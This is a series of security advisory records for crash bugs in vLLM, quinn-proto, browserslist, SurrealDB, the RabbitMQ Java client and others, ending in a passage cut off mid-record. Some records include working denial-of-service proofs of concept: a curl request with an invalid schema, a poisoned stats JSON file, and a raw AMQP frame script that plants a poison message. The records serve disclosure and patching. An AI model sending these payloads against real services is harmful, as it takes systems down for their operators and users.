{
  "affected": [],
  "aliases": [
    "CVE-2026-69839"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T18:19:55Z",
    "severity": "MODERATE"
  },
  "details": "Uncaught exception in Windows iSCSI Target Service allows an authorized attacker to deny service over a network.",
  "id": "GHSA-6pcm-j3qf-mrjq",
  "modified": "2026-09-08T18:33:02Z",
  "published": "2026-09-08T18:33:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69839"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69839"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-28T19:41:53Z",
    "nvd_published_at": "2025-05-30T19:15:30Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nHitting the  /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server\n\n\n### Details\nThe following API call \n`(venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H \"Content-Type: application/json\" -d \u0027{\"model\": \"meta-llama/Llama-3.2-3B-Instruct\",\"prompt\": \"Name two great reasons to visit Sligo \", \"max_tokens\": 10, \"temperature\": 0.5, \"guided_json\":\"{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}\"}\u0027   \n`\nwill provoke a Uncaught exceptions from xgrammer in \n`./lib64/python3.11/site-packages/xgrammar/compiler.py\n`\n\nIssue with more information: https://github.com/vllm-project/vllm/issues/17248\n\n### PoC\nMake a call to vllm with invalid json_scema e.g. `{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}`\n\n`curl -s http://localhost:8000/v1/completions -H \"Content-Type: application/json\" -d \u0027{\"model\": \"meta-llama/Llama-3.2-3B-Instruct\",\"prompt\": \"Name two great reasons to visit Sligo \", \"max_tokens\": 10, \"temperature\": 0.5, \"guided_json\":\"{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}\"}\u0027\n`\n### Impact\nvllm crashes\n\n\nexample traceback\n```\nERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 333, in run_engine_core\nERROR 03-26 17:25:01 [core.py:340]     engine_core.run_busy_loop()\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 367, in run_busy_loop\nERROR 03-26 17:25:01 [core.py:340]     outputs = step_fn()\nERROR 03-26 17:25:01 [core.py:340]               ^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 181, in step\nERROR 03-26 17:25:01 [core.py:340]     scheduler_output = self.scheduler.schedule()\nERROR 03-26 17:25:01 [core.py:340]                        ^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py\", line 257, in schedule\nERROR 03-26 17:25:01 [core.py:340]     if structured_output_req and structured_output_req.grammar:\nERROR 03-26 17:25:01 [core.py:340]                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py\", line 41, in grammar\nERROR 03-26 17:25:01 [core.py:340]     completed = self._check_grammar_completion()\nERROR 03-26 17:25:01 [core.py:340]                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py\", line 29, in _check_grammar_completion\nERROR 03-26 17:25:01 [core.py:340]     self._grammar = self._grammar.result(timeout=0.0001)\nERROR 03-26 17:25:01 [core.py:340]                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/usr/lib64/python3.11/concurrent/futures/_base.py\", line 456, in result\nERROR 03-26 17:25:01 [core.py:340]     return self.__get_result()\nERROR 03-26 17:25:01 [core.py:340]            ^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/usr/lib64/python3.11/concurrent/futures/_base.py\", line 401, in __get_result\nERROR 03-26 17:25:01 [core.py:340]     raise self._exception\nERROR 03-26 17:25:01 [core.py:340]   File \"/usr/lib64/python3.11/concurrent/futures/thread.py\", line 58, in run\nERROR 03-26 17:25:01 [core.py:340]     result = self.fn(*self.args, **self.kwargs)\nERROR 03-26 17:25:01 [core.py:340]              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py\", line 120, in _async_create_grammar\nERROR 03-26 17:25:01 [core.py:340]     ctx = self.compiler.compile_json_schema(grammar_spec,\nERROR 03-26 17:25:01 [core.py:340]           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py\", line 101, in compile_json_schema\nERROR 03-26 17:25:01 [core.py:340]     self._handle.compile_json_schema(\nERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is\u003cpicojson::object\u003e()) is false: Schema should be an object or bool\nERROR 03-26 17:25:01 [core.py:340] \nERROR 03-26 17:25:01 [core.py:340] \nCRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.\n```\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/17623",
  "id": "GHSA-6qc9-v4r8-22xg",
  "modified": "2025-06-27T21:06:56Z",
  "published": "2025-05-28T19:41:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48942"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/issues/17248"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/pull/17623"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/08bf7840780980c7568c573c70a6a8db94fd45ff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-54.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM DOS: Remotely kill vllm over http with invalid JSON schema"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-0790"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-14T01:04:31Z",
    "nvd_published_at": "2023-02-12T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "Uncaught Exception in GitHub repository thorsten/phpmyfaq prior to 3.1.11.",
  "id": "GHSA-6vv4-qq3r-9rv8",
  "modified": "2023-02-24T16:02:36Z",
  "published": "2023-02-12T15:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0790"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpmyfaq/commit/f34d84dfe551ecdd675916e45cc0606e04a0734e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/06af150b-b481-4248-9a48-56ded2814156"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncaught Exception in thorsten/phpmyfaq"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.1"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "surrealdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-21T00:03:06Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "The query executor would panic when executing a query containing a call to a built-in SurrealDB function that did not exist. This could occur accidentally in situations where the version of the SurrealDB client was newer than the SurrealDB server or when a pre-parsed query was provided to the server via a newer version of the SurrealDB SDK.\n\n### Impact\n\nA client that is authorized to run queries in a SurrealDB server is able to craft and execute a pre-parsed query invoking a nonexistent built-in function, which will cause a panic. This will crash the server, leading to denial of service.\n\n### Patches\n\n- Version 1.2.0 and later are not affected by this issue.\n\n### Workarounds\n\nConcerned users unable to update may want to limit the ability of untrusted users to run arbitrary SurrealQL queries in the affected versions of SurrealDB. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.\n\n### References\n\n- #3454\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65755",
  "id": "GHSA-6wr5-jmpr-mjcx",
  "modified": "2024-02-21T00:03:06Z",
  "published": "2024-02-21T00:03:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-6wr5-jmpr-mjcx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/pull/3454"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65755"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/surrealdb/surrealdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncaught Exception in Macro Expecting Native Function to Exist"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "quinn-proto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T00:09:19Z",
    "nvd_published_at": "2026-03-10T22:16:18Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA remote, unauthenticated attacker can trigger a denial of service in applications using vulnerable `quinn` versions by sending a crafted QUIC Initial packet containing malformed `quic_transport_parameters`. `In quinn-proto` parsing logic, attacker-controlled varints are decoded with `unwrap()`, so truncated encodings cause `Err(UnexpectedEnd)` and `panic`. This is reachable over the network with a single packet and no prior trust or authentication.\n\n### Details\nThe issue is panic-on-untrusted-input in QUIC transport parameter parsing.\nIn `quinn-proto` (observed in `quinn-proto 0.11.13`), parsing of some transport parameters uses a fallible varint decode followed by `unwrap()`. For malformed/truncated parameter values, decode returns `UnexpectedEnd`, and `unwrap()` panics.\n\n#### Observed output:\n```\nthread \u0027tokio-rt-worker\u0027 (2366474) panicked at quinn-proto/src/transport_parameters.rs:473:67:\ncalled `Result::unwrap()` on an `Err` value: UnexpectedEnd\n```\n\n### PoC\n#### Reproduces against the upstream Quinn server example.\n1. Start server:\n```\ncargo run --example server -- ./\n```\n2. Prepare PoC client environment:\n```\npython3 -m venv .venv\nsource .venv/bin/activate\npip install aioquic\n```\n3. Run PoC script [attack.py](https://github.com/user-attachments/files/25741713/attack.py) against server QUIC listener (default example target shown):\n```\npython attack.py\n```\n#### Observed output\n```\nthread \u0027tokio-rt-worker\u0027 (2366903) panicked at quinn-proto/src/transport_parameters.rs:473:67:\ncalled `Result::unwrap()` on an `Err` value: UnexpectedEnd\n```\n\n\n\n### Impact\nVulnerability type: Remote Denial of Service (panic/crash)\nAttack requirements:  Network reachability to UDP QUIC listener\nAuthentication/privileges: None\nWho is impacted: Any server/application using affected `quinn/quinn-proto` versions where this parse path is reachable; process-level impact depends on integration panic handling policy\n\n\nThis vulnerability was originally submitted by @revofusion to the Ethereum Foundation bug bounty program",
  "id": "GHSA-6xvm-j4wr-6v98",
  "modified": "2026-03-11T05:46:01Z",
  "published": "2026-03-11T00:09:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/quinn-rs/quinn/security/advisories/GHSA-6xvm-j4wr-6v98"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31812"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quinn-rs/quinn/pull/2559"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/quinn-rs/quinn"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0037.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Quinn affected by unauthenticated remote DoS via panic in QUIC transport parameter parsing"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.28.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "browserslist"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.28.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73088"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-01T16:41:54Z",
    "nvd_published_at": "2026-08-11T17:19:16Z",
    "severity": "HIGH"
  },
  "details": "## Vulnerability Details\n\n**File**: `node.js`\n**Function**: `normalizeStats()` (line ~214), reached from `getStat()` (called\n**unconditionally** on every `browserslist()` call) and `loadStat()`\n\n### Root Cause\n```js\nfunction normalizeStats(data, stats) {\n  if (!data) { data = {} }\n  if (stats \u0026\u0026 \u0027dataByBrowser\u0027 in stats) { stats = stats.dataByBrowser }\n  if (typeof stats !== \u0027object\u0027) return undefined\n\n  var normalized = {}\n  for (var i in stats) {\n    var versions = Object.keys(stats[i])\n    if (versions.length === 1 \u0026\u0026 data[i] \u0026\u0026 data[i].versions.length === 1) {\n      var normal = data[i].versions[0]\n      normalized[i] = {}\n      normalized[i][normal] = stats[i][versions[0]]\n    } else {\n      normalized[i] = stats[i]\n    }\n  }\n  return normalized\n}\n```\n`stats` is untrusted: it comes from `JSON.parse()`-ing a\n`browserslist-stats.json` file \u2014 auto-discovered by walking up the directory\ntree from the project root **on every `browserslist()` call, regardless of\nthe query** (`env.getStat(opts, browserslist.data)` runs unconditionally\ninside `browserslist()`) \u2014 or from `opts.stats` passed programmatically /\nvia the CLI\u0027s `--stats=` flag. `data` is `browserslist.data`, a plain object\npopulated only with real browser names.\n\nTwo independent bugs from the same root cause (unguarded `for...in` over\nuntrusted keys used with plain-object bracket access/assignment):\n\n1. **Crash**: `data[i]` has no `hasOwnProperty` guard. If `stats` contains a\n   key that also happens to be an inherited `Object.prototype` member name \u2014\n   `\"__proto__\"`, `\"toString\"`, `\"valueOf\"`, `\"constructor\"`,\n   `\"hasOwnProperty\"`, `\"isPrototypeOf\"`, etc. \u2014 `data[i]` resolves to that\n   inherited function/object (always truthy), and the code then does\n   `data[i].versions.length` \u2192 `undefined.length` \u2192 **uncaught `TypeError`**,\n   for any such key whose JSON value has exactly one sub-key, e.g.:\n   ```json\n   { \"toString\": { \"onekey\": 5 }, \"chrome\": { \"100\": 50 } }\n   ```\n2. **Prototype write**: `normalized[i] = ...` on the fresh\n   `normalized = {}` \u2014 if `i` is exactly `\"__proto__\"` (and `normalized` has\n   no own property by that name yet), this computed assignment invokes the\n   real `Object.prototype.__proto__` setter, changing `normalized`\u0027s actual\n   `[[Prototype]]` instead of creating a plain property.\n\nBecause this runs on **every** `browserslist()` call regardless of the\nquery, simply committing a poisoned `browserslist-stats.json` anywhere in a\nproject\u0027s directory tree breaks every subsequent Browserslist call in that\nproject \u2014 including calls made by Autoprefixer, Babel `preset-env`,\nStylelint, or PostCSS internally, for completely unrelated queries.\n\n### Attack Scenario\n1. Attacker submits a PR (or a compromised dependency) adding a\n   `browserslist-stats.json` file anywhere between the project root and\n   filesystem root, containing e.g.\n   `{\"toString\": {\"onekey\": 5}, \"chrome\": {\"100\": 50}}`.\n2. The victim\u0027s build/CI pipeline runs any tool that calls `browserslist()`\n   internally, for **any** query.\n3. The auto-discovered poisoned file crashes the process with an uncaught\n   `TypeError` on the very first call.\n\n### Measured Impact\nConfirmed crash (real `browserslist()` call, v4.28.6) with `stats` keys:\n`__proto__`, `toString`, `valueOf`, `hasOwnProperty`, `constructor`,\n`isPrototypeOf` \u2014 each paired with a one-key JSON object \u2014 for any query,\nincluding `browserslist(\u0027defaults\u0027)` which never mentions stats.\n\n### Recommended Fix (implemented and verified)\n```js\nvar normalized = Object.create(null)\nfor (var i in stats) {\n  var versions = Object.keys(stats[i])\n  var known = Object.prototype.hasOwnProperty.call(data, i) \u0026\u0026 data[i]\n  if (versions.length === 1 \u0026\u0026 known \u0026\u0026 known.versions.length === 1) {\n    var normal = known.versions[0]\n    normalized[i] = Object.create(null)\n    normalized[i][normal] = stats[i][versions[0]]\n  } else {\n    normalized[i] = stats[i]\n  }\n}\nreturn normalized\n```\n`normalized` uses `Object.create(null)` so a write to `\"__proto__\"` is an\nordinary property set, never a `[[Prototype]]` change; `data[i]` is replaced\nwith an explicit `hasOwnProperty` check so it never resolves to an inherited\n`Object.prototype` member.\n\n**Verification**:\n- `NODE_ENV=test npx uvu test .test.js` \u2192 301/301 pass unmodified\n  (`test/custom.test.js`, `test/shareable-stats.test.js`, `test/cover.test.js`\n  exercise the stats-handling paths).\n- All 6 previously crash-inducing keys, tested individually, now resolve\n  without error.\n- The realistic file-based auto-discovery scenario (poisoned\n  `browserslist-stats.json` + an unrelated `browserslist(\u0027defaults\u0027)` call)\n  now returns a normal result instead of crashing.\n\n### Impact\n- **Who is affected**: Any project whose build/CI invokes Browserslist\n  (directly or via Autoprefixer/Babel/Stylelint/PostCSS) in a directory tree\n  an attacker can place a file into (external PR, compromised dependency),\n  or any app that passes user-influenced data into `opts.stats`.\n- **What an attacker achieves**: Immediate DoS \u2014 crashes the invoking\n  process on the first Browserslist call after the file is present, for any\n  query, no special syntax needed.\n- **Conditions required**: No authentication \u2014 only the ability to add a\n  file to the project\u0027s directory tree, or influence `opts.stats`.\n\n### Verification Environment\nbrowserslist @ HEAD (== v4.28.6, current latest stable release) under local\nNode.js v20.19.5. Pure JS library \u2014 executed directly, no server needed.\n\n### Note\nFound via a systematic review of prototype-pollution-adjacent patterns in\nthis codebase after confirming two unrelated algorithmic-complexity issues\n(reported separately as GHSA-rrmg-cfrq-23vv and GHSA-g6p8-hj8g-x889) in the\nsame research pass. A similar `for...in` + bracket-write pattern in\n`index.js`\u0027s `copyObject()` (used by `normalizeAndroidData`) was already\nguarded against `__proto__`/`constructor`/`prototype` keys by a prior,\nunrelated commit \u2014 that guard was never applied to this function.",
  "id": "GHSA-73wf-gq98-2v4g",
  "modified": "2026-09-01T16:41:54Z",
  "published": "2026-09-01T16:41:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/browserslist/browserslist/security/advisories/GHSA-73wf-gq98-2v4g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73088"
    },
    {
      "type": "WEB",
      "url": "https://github.com/browserslist/browserslist/commit/f9914ad9effc865ccc27d816255625890b31ca51"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/browserslist/browserslist"
    },
    {
      "type": "WEB",
      "url": "https://github.com/browserslist/browserslist/releases/tag/4.28.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Browserslist: Uncaught crash / prototype write via untrusted browserslist-stats.json custom stats (normalizeStats)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-55557"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-25T16:15:34Z",
    "severity": "HIGH"
  },
  "details": "A Name Error occurs in pytorch v2.7.0 when a PyTorch model consists of torch.cummin and is compiled by Inductor, leading to a Denial of Service (DoS).",
  "id": "GHSA-765f-85mc-5qmw",
  "modified": "2025-09-29T18:33:12Z",
  "published": "2025-09-25T18:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55557"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pytorch/pytorch/issues/151738"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pytorch/pytorch/pull/151931"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/shaoyuyoung/0e7d2a586297ae9c8ed14d8706749efc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.35.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.rabbitmq:amqp-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.36.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106122"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-172",
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:25:29Z",
    "nvd_published_at": "2026-10-06T19:17:43Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer.\n\nThe client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel.\n\nThe message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.\n\nIn short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone.\n\n### Details\n\n`ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input:\n\nhttps://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75\n\n`ValueWriter.writeShortstr` then rejects the result with an unchecked exception:\n\nhttps://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56\n\nSo a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected.\n\nTwo consumption paths are impacted:\n\n1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently:\n   https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129\n\n2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.\n\nIn both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue.\n\nA related instance exists in the library\u0027s own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.\n\n### PoC\n\nNeither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.**\n\n1. Start a broker:\n\n```bash\ndocker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq\n```\n\n2. Publish a message whose `correlation-id` is 255 \u00d7 `0xFF`:\n```python\nimport socket, struct\n\ndef sstr(b):\n    if isinstance(b, str): b = b.encode()\n    return struct.pack(\"\u003eB\", len(b)) + b\ndef lstr(b): return struct.pack(\"\u003eI\", len(b)) + b\ndef fr(t, ch, p): return struct.pack(\"\u003eBHI\", t, ch, len(p)) + p + b\"\\xce\"\ndef m(c, mi, a=b\"\"): return struct.pack(\"\u003eHH\", c, mi) + a\n\nQUEUE = \"rpc.poison\"\ns = socket.create_connection((\"127.0.0.1\", 5672), timeout=10)\n\ndef rf():\n    h = b\"\"\n    while len(h) \u003c 7: h += s.recv(7 - len(h))\n    t, ch, sz = struct.unpack(\"\u003eBHI\", h)\n    p = b\"\"\n    while len(p) \u003c sz: p += s.recv(sz - len(p))\n    s.recv(1); return t, ch, p\ndef wait(c, mi):\n    while True:\n        t, ch, p = rf()\n        if t == 1 and struct.unpack(\"\u003eHH\", p[:4]) == (c, mi): return p[4:]\n\ns.sendall(b\"AMQP\\x00\\x00\\x09\\x01\"); wait(10, 10)\ns.sendall(fr(1, 0, m(10, 11, struct.pack(\"\u003eI\", 0) + sstr(\"PLAIN\")\n    + lstr(b\"\\x00guest\\x00guest\") + sstr(\"en_US\"))))\ncm, fm, _ = struct.unpack(\"\u003eHIH\", wait(10, 30)[:8])   # must echo broker\u0027s limits\ns.sendall(fr(1, 0, m(10, 31, struct.pack(\"\u003eH\", cm) + struct.pack(\"\u003eI\", fm) + struct.pack(\"\u003eH\", 0))))\ns.sendall(fr(1, 0, m(10, 40, sstr(\"/\") + sstr(\"\") + b\"\\x00\"))); wait(10, 41)\ns.sendall(fr(1, 1, m(20, 10, sstr(\"\")))); wait(20, 11)\ns.sendall(fr(1, 1, m(50, 10, struct.pack(\"\u003eH\", 0) + sstr(QUEUE) + b\"\\x02\"\n    + struct.pack(\"\u003eI\", 0)))); wait(50, 11)\n\ns.sendall(fr(1, 1, m(60, 40, struct.pack(\"\u003eH\", 0) + sstr(\"\") + sstr(QUEUE) + b\"\\x00\")))\nprops = sstr(b\"\\xff\" * 255) + sstr(\"some-reply-queue\")   # correlation-id = bit 10, reply-to = bit 9\ns.sendall(fr(2, 1, struct.pack(\"\u003eHHQ\", 60, 0, 6) + struct.pack(\"\u003eH\", (1 \u003c\u003c 10) | (1 \u003c\u003c 9)) + props))\ns.sendall(fr(3, 1, b\"poison\"))\n\n# close cleanly, otherwise the broker may not commit the publish\ns.sendall(fr(1, 0, m(10, 50, struct.pack(\"\u003eH\", 200) + sstr(\"done\") + struct.pack(\"\u003eHH\", 0, 0))))\nwait(10, 51); s.close()\nprint(\"published to\", QUEUE)\n```\n\n3. Run a consumer using the tutorial pattern against `rpc.poison`:\n\n```java\nDeliverCallback cb = (tag, delivery) -\u003e {\n    AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder()\n        .correlationId(delivery.getProperties().getCorrelationId()).build();\n    channel.basicPublish(\"\", delivery.getProperties().getReplyTo(), reply, \"pong\".getBytes(\"UTF-8\"));\n    channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false);\n};\nchannel.basicConsume(\"rpc.poison\", false, cb, t -\u003e {});\n```\n\nObserved:\n\n```bash\njava.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255.\n  at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...)\n  at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753)\nchannel open after: false\nqueue depth after: 1\n```\n\nThe same message run against `RpcServer.mainloop()` kills the loop thread instead, and re-kills it on every restart.\n\n**Control:** 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.\n\n**Negative results, for completeness:** automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.\n\n### Impact\nDenial of service against applications that implement AMQP 